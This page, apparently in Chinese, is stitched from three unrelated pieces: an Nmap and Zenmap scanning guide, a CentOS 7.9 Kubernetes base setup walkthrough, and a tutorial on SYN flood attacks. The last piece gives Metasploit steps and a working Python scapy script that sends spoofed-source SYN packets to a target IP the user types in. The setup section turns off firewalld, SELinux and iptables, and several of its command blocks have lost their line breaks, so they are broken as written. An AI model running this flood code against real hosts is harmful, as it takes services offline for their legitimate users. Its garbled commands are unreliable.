Nmap默认扫描方式,通常被称为半开放扫描。发送SYN包到目标端口,若收到SYN/ACK回复,则端口被认为开放状态;若收到RST回复,则端口被认为关闭状态;若没有收到回复,则认为该端口被屏蔽。因为仅发送SYN包对目标主机的特定端口,但不建立完整的TCP连接,所以相对比较隐蔽,而且效率比较高,适用范围广。

4.2. TCP connect扫描(-sT)

使用系统网络API connect向目标主机的端口发起连接,如果无法连接,说明该端口关闭。该方式扫描速度比较慢,而且由于建立完整的TCP连接会在目标主机上留下记录信息,不够隐蔽。

4.3. TCP ACK 扫描(-sA)

向目标主机的端口发送ACK包,如果收到RST包,说明该端口没有被防火墙屏蔽;没有收到RST包,说明被屏蔽。该方式只能用于确定防火墙是否屏蔽某个端口,可以辅助TCP SYN的方式来判断目标主机防火墙的状况

4.4. TCP FIN/Xmas/NULL扫描(-sN/sF/sX)

这三种扫描方式被称为秘密扫描,因为相对比较隐蔽。FIN扫描向目标主机的端口发送的TCP FIN 包括Xmas tree包或NULL包,如果收到对方的RST回复包,那么说明该端口是关闭的;没有收到RST包说明该端口可能是开放的或者被屏蔽了。其中Xmas tree包是指flags中FIN URG PUSH被置为1的TCP包;NULL包是指所有的flags都为0的TCP包。

4.5. UDP扫描(-sU)

UDP扫描用于判断UDP端口的情况,向目标主机的UDP端口发送探测包,如果收到回复ICMP port unreachable就说明该端口是关闭的;如果没有收到回复,那说明该UDP端口可能是开放的或者屏蔽的。因此,通过反向排除法的方式来判断哪些UDP端口是可能处于开放状态的。

4.6. 其他方式(-sY/-sZ)

除了以上几种常用的方式外,Nmap还支持多种其他的探测方式。例如使用SCTP INIT/Cookie-ECHO方式是来探测SCTP的端口开放情况;使用IP protocol方式来探测目标主机支持的协议类型(tcp/udp/icmp/sctp等等);使用idle scan方式借助僵尸主机来扫描目标主机,以达到隐蔽自己的目的;或者使用FTP bounce scan,借助FTP允许的代理服务扫描其他的主机,同样达到隐蔽自己的目的

5. 工具使用

1)直接使用Nmap命令行方式

2)使用Zenmap图形界面方式(详见Zenmap工具使用)

3)常见参数解读

-sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批连接请求和错误信息

-sS 半开扫描,很少有系统能把它记入系统日志。不过,需要Root权限

-sP ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描

-sU UDP端口扫描,,但UDP扫描是不可靠的

-sV 探测端口服务版本

-Pn 扫描之前不需要用ping命令,有些防火墙禁止ping命令。可以使用此选项进行扫描

-A 选项用于使用进攻性方式扫描

-T4 指定扫描过程使用的时序,总有6个级别(0-5),级别越高,扫描速度越快,但也容易被防火墙或IDS检测并屏蔽掉,在网络通讯状况较好的情况下推荐使用T4

-v 表示显示详细信息,在扫描过程中显示扫描的细节(如-vv显示更详细的信息)

-p 扫描指定端口(如-p 80)

--script 后面带插件名称,使用相应的插件(如--script ssl-enum-ciphers,扫描SSL/TLS算法套件)

-F 快速模式,仅扫描TOP 100的端口

-oN 标准保存,将扫描结果保存到指定的文件中(如-oN AAA.txt)

-oX xml文件格式保存(如-oX D:aaa.xml),常用xml文件格式

-oA 扫描结果以标准格式、XML格式和Grep格式一次性保存,分别存放在bbb.nmap,bbb.xml和bbb.gnmap中(如-oA bbb)

-O 远程操作系统检测,存在误报

-h 帮助选项

6. 常见场景扫描

1)A simple subnet scan

nmap <IP>

2)Scan all the TCP ports of a host

nmap -p- <IP>

3)Performing a TCP SYN scan

nmap -sS -p- <IP>

4)Performing a UDP Port scan

nmap -sU -r -v <IP>

7. 扫描结果端口状态

1)open:端口是开放的

2)losed:端口是关闭的

3)filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态

4)unfiltered:端口没有被屏蔽,但是否开放需要进一步确定

5)open|filtered:端口是开放的或被屏蔽

6)closed|filtered :端口是关闭的或被屏蔽

Zenmap(The GUI version of Nmap)

1. 工具安装

1)Windows系统Zenmap工具安装

无需单独安装,安装Nmap时已经将Zenmap安装,可直接使用。

2)Linux操作系统Zenmap工具安装

先安装nmap,再安装zenmap(或直接安装nmap/zenmap集成包nmap-7.80-1.src.rpm)

安装nmap/zenmap集成包:rpm -ivh nmap-7.80-1.src.rpm

安装Zenmap:rpm -ivh zenmap-7.80-1.noarch.rpm

2. 工具使用

3. 工具默认扫描策略

1)Intense scan(nmap -T4 -A -v)

2)Intense scan plus UDP(nmap -sS -sU -T4 -A -v)

3)Intense scan, all TCP ports(nmap -p 1-65535 -T4 -A -v)

4)Intense scan, no ping(nmap -T4 -A -v -Pn)

5)Ping scan(nmap -sn)

6)Quick scan(nmap -T4 -F)

7)Quick scan plus(nmap -sV -T4 -O -F --version-light)

8)Quick traceroute(nmap -sn --traceroute)

9)Regular scan(nmap)

10)Slow comprehensive scan(nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)")

vsphere6.7虚拟化centos7.9系统kubernetes基础环境搭建

k8s环境规划:

Pod网段: 10.0.0.0/16

Service网段: 10.255.0.0/16

实验环境规划:

虚拟化平台:vsphere6.7

操作系统:centos7.9

配置: 4Gib内存/8vCPU/200G硬盘

注意:也可以用4vCPU

网络:NAT

K8S集群角色

Ip

主机名

安装的组件

控制节点

192.168.20.18

master1

apiserver、controller-manager、scheduler、etcd、docker、keepalived、nginx

控制节点

192.168.20.19

master2

apiserver、controller-manager、scheduler、etcd、docker、keepalived、nginx

控制节点

192.168.20.20

master3

apiserver、controller-manager、scheduler、etcd、docker

工作节点

192.168.20.21

node1

kubelet、kube-proxy、docker、calico、coredns

Vip

192.168.20.22

1.初始化

1.1 配置静态IP

把虚拟机或者物理机配置成静态ip地址,这样机器重新启动后ip地址也不会发生改变。

以master1主机修改静态IP为例:

#修改/etc/sysconfig/network-scripts/ifcfg-ens192文件,变成如下:

NAME=ens192

DOMAIN=example

DEVICE=ens192

ONBOOT=yes

USERCTL=no

BOOTPROTO=static

IPADDR=192.168.20.18

NETMASK=255.255.255.0

GATEWAY=192.168.20.1

DNS1=114.114.114.114

PEERDNS=no

IPV6INIT=yes

IPV6_AUTOCONF=yes

check_link_down() {

return 1;

}

#修改配置文件之后需要重启网络服务才能使配置生效,重启网络服务命令如下:

service network restart

1.2 配置主机名

#配置主机名:

在192.168.20.18上执行如下:

hostnamectl set-hostname master1

在192.168.20.19上执行如下:

hostnamectl set-hostname master2

在192.168.20.20上执行如下:

hostnamectl set-hostname master3

在192.168.20.21上执行如下:

hostnamectl set-hostname node1

1.3 配置hosts文件

#修改所有机器的/etc/hosts文件, 新增下面的内容,wq保存。:

192.168.20.18 master1

192.168.20.19 master2

192.168.20.20 master3

192.168.20.21 node1

1.4 配置主机之间无密码登录,在所有节点上操作

#生成ssh 密钥对

ssh-keygen -t rsa #一路回车,不输入密码

把本地的ssh公钥文件安装到远程主机对应的账户

for i in master1 master2 master3 node1 ssh-copy-id -i .ssh/id_rsa.pub $i;done

1.5 关闭firewalld防火墙,在所有节点上操作:

systemctl stop firewalld ; systemctl disable firewalld

1.6 关闭selinux、dnsmasq,在所有节点上操作:

systemctl disable --now firewalld

systemctl disable --now dnsmasq

systemctl disable --now NetworkManager

sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

sed -i 's#SELINUX=enforcing#selinux=disabled#g' /etc/sysconfig/selinux

#修改selinux配置文件之后,重启机器,selinux配置才能永久生效

重启之后登录机器验证是否修改成功:

getenforce

#显示Disabled说明selinux已经关闭

1.7 关闭交换分区swap,在selinux,在所有节点上操作:

#临时关闭

swapoff -a

#永久关闭:注释swap挂载,给swap这行开头加一下注释

vim /etc/fstab

#/dev/mapper/centos-swap swap swap defaults 0 0

#如果是克隆的虚拟机,需要删除UUID

1.8 修改内核参数,在所有节点上操作:

#加载br_netfilter模块

modprobe br_netfilter

#验证模块是否加载成功:

lsmod |grep br_netfilter

#修改内核参数

cat <<EOF > /etc/sysctl.d/k8s.confnet.ipv4.ip_forward = 1net.bridge.bridge-nf-call-iptables = 1net.bridge.bridge-nf-call-ip6tables = 1fs.may_detach_mounts = 1vm.overcommit_memory=1vm.panic_on_oom=0fs.inotify.max_user_watches=89100fs.file-max=52706963fs.nr_open=52706963net.netfilter.nf_conntrack_max=2310720net.ipv4.tcp_keepalive_time = 600net.ipv4.tcp_keepalive_probes = 3net.ipv4.tcp_keepalive_intvl =15net.ipv4.tcp_max_tw_buckets = 36000net.ipv4.tcp_tw_reuse = 1net.ipv4.tcp_max_orphans = 327680net.ipv4.tcp_orphan_retries = 3net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.ipv4.ip_conntrack_max = 65536net.ipv4.tcp_max_syn_backlog = 16384net.ipv4.tcp_timestamps = 0net.core.somaxconn = 16384EOFsysctl --system

#使刚才修改的内核参数生效

sysctl -p /etc/sysctl.d/k8s.conf

1.9 配置阿里云repo源:

在所有机器上操作:

yum源配置

curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repoyum install -y yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repocat <<EOF > /etc/yum.repos.d/Kubernetes.repo[kubernetes]name=Kubernetesbaseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/enabled=1gpgcheck=1repo_gpgcheck=1gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpgEOFsed -i -e '/mirrors.cloud.aliyuncs.com/d' -e '/mirrors.aliyuncs.com/d' /etc/yum.repos.d/CentOS-Base.repo

1.10 配置时间同步,在所有节点上操作:

#安装ntpdate命令,

#yum install ntpdate -y

所有节点同步时间。时间同步配置如下:

ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtimeecho 'Asia/Shanghai' >/etc/timezonentpdate time2.aliyun.com

#把时间同步做成计划任务

crontab -e

*/5 * * * * ntpdate time2.aliyun.com

#重启crond服务

service crond restart

所有节点配置limit:

ulimit -SHn 65535vim /etc/security/limits.conf# 末尾添加如下内容* soft nofile 655360* hard nofile 131072* soft nproc 655350* hard nproc 655350* soft memlock unlimited* hard memlock unlimited

1.11 安装iptables

安装iptables ,在所有节点上操作:

yum install iptables-services -y

#禁用iptables

service iptables stop

systemctl disable iptables

#清空防火墙规则

iptables -F

1.12 开启ipvs

#不开启ipvs将会使用iptables进行数据包转发,但是效率低,所以官网推荐需要开通ipvs。

所有节点安装ipvsadm:

yum install ipvsadm ipset sysstat conntrack libseccomp -y

所有节点配置ipvs模块

vim /etc/modules-load.d/ipvs.conf # 加入以下内容ip_vsip_vs_lcip_vs_wlcip_vs_rrip_vs_wrrip_vs_lblcip_vs_lblcrip_vs_dhip_vs_ship_vs_foip_vs_nqip_vs_sedip_vs_ftpip_vs_shnf_conntrack_ipv4ip_tablesip_setxt_setipt_setipt_rpfilteript_REJECTipip

加载内核配置

systemctl enable --now systemd-modules-load.service

1.13 安装基础软件包,在所有节点上操作:

yum install -y yum-utils device-mapper-persistent-data lvm2 wget net-tools nfs-utils lrzsz gcc gcc-c make cmake libxml2-devel openssl-devel curl curl-devel unzip sudo ntp libaio-devel wget vim ncurses-devel autoconf automake zlib-devel python-devel epel-release openssh-server socat ipvsadm conntrack ntpdate telnet rsync

1.14 安装docker-ce,在所有节点上操作:

yum install docker-ce docker-ce-cli containerd -y

systemctl daemon-reload && systemctl enable --now docker && systemctl status docker

1.15 配置docker镜像加速器,在所有节点上操作:

tee /etc/docker/daemon.json << 'EOF'

{

"registry-mirrors": ["https://4wgtxa6q.mirror.aliyuncs.com"]

"exec-opts": ["native.cgroupdriver=systemd"]

}

EOF

systemctl daemon-reload

systemctl restart docker

systemctl status docker

#修改docker文件驱动为systemd,默认为cgroupfs,kubelet默认使用systemd,两者必须一致才可以。

到此基础环境已经搭建完毕

Python编写exp实现 SYN Flood攻击

1 SYN Flood介绍

SYN-Flood攻击是当前网络上最为常见的DDoS(分布式拒绝服务)攻击,也是最为经典的拒绝服务攻击,它利用了TCP协议实现上的一个缺陷,通过向网络服务所在端口发送大量的伪造源地址的攻击报文,就可能造成目标服务器中的半开连接队列被占满,从而阻止其他合法用户进行访问。这种攻击早在1996年就被发现,但至今仍然显示出强大的生命力。很多操作系统,甚至防火墙、路由器都无法有效地防御这种攻击,而且由于它可以方便地伪造源地址,追查起来非常困难。它的数据包特征通常是,源发送了大量的SYN包,并且缺少三次握手的最后一步握手ACK回复。

2 SYN -tcp 三次握手过程:

在建立链接前,服务器已经开启,等待来自客户端(无论浏览器还是app等,此处把用户侧都称之为客户端)的请求。

1.请求由客户端主动发出,TCP数据报的SYN字段设置为1,咱们暂且把此报文成为SYN报文。SYN报文虽然不携带实际传输的数据,但是它依旧要消耗一个序号,假设此报文的序号seq=x。客户端发出请求连接的报文之后,进入SYN-SENT(同步已发出)状态。

2.当服务器接收到来自客户端的请求报文后,会记录下此客户端的信息。并且对客户端发送的SYN报文进行确认,确认报文的ACK字段设置为1,同时SYN设置为1,不妨称此报文为ACK SYN报文。因为是对SYN报文的确认,且SYN未携带数据,所以ACK SYN报文的ack=x 1 (表示服务器期望下一次从客户端A接收到序号为x 1的报文)。假设此时ACK SYN报文序号为seq=y。发出ACK SYN报文后,服务器进入SYN-RCVD状态(同步已发出状态)

3.客户端收到来服务器的ACK SYN报文之后,会对它进行确认,发送确认报文ACK设置为1,seq=x 1,ack = y 1 后,客户端进入连接建立状态。在收到此确认报文之后,服务器也进入链接建立状态。此时就完成了三次握手,双发可以进行数据通信了。

3 MSF实现SYN-Flood攻击

1.在kali主机中打开wireshark,监听网络数据包的传输。

2.Msfconsole

3.Use auxiliary/dos/tcp/synflflood

4.Set rhost 192.168.111.129

5.Set rport 135

6.Set shost 61.61.61.61 //设置虚构的IP地址

7.Exploit

8.Kali中打开Wireshark监听

4 Python实现SYN-Flood攻击

#coding=utf-8

#python3.7环境

"""

@author xxx

Create on 4.16.2020

使用代码发送100000万个SYN包,源IP地址伪装为1.1.1.1~254随机选择,源端口 49151~65535范围内,目标IP:192.168.1.8 ,目标端口21

教学使用,不得用于其他用途,否则后果自负!!

"""

from scapy.all import *import randomdst_ip = input("请输入你要攻击的目标IP:")for i in range(0,99999): random_ip = '1.' '1.' '1.' str(random.randrange(1,254)) random_Sport = random.randrange(49151,65535) ip = IP(src = random_ip,dst = dst_ip) packet = TCP(sport = random_Sport,dport = 21,flags = 'S',seq = 1111111) synpacker = (ip/packet) send(synpacker)

关注知了汇智头条号,干货持续奉送。

免责声明:本文由用户上传,如有侵权请联系删除!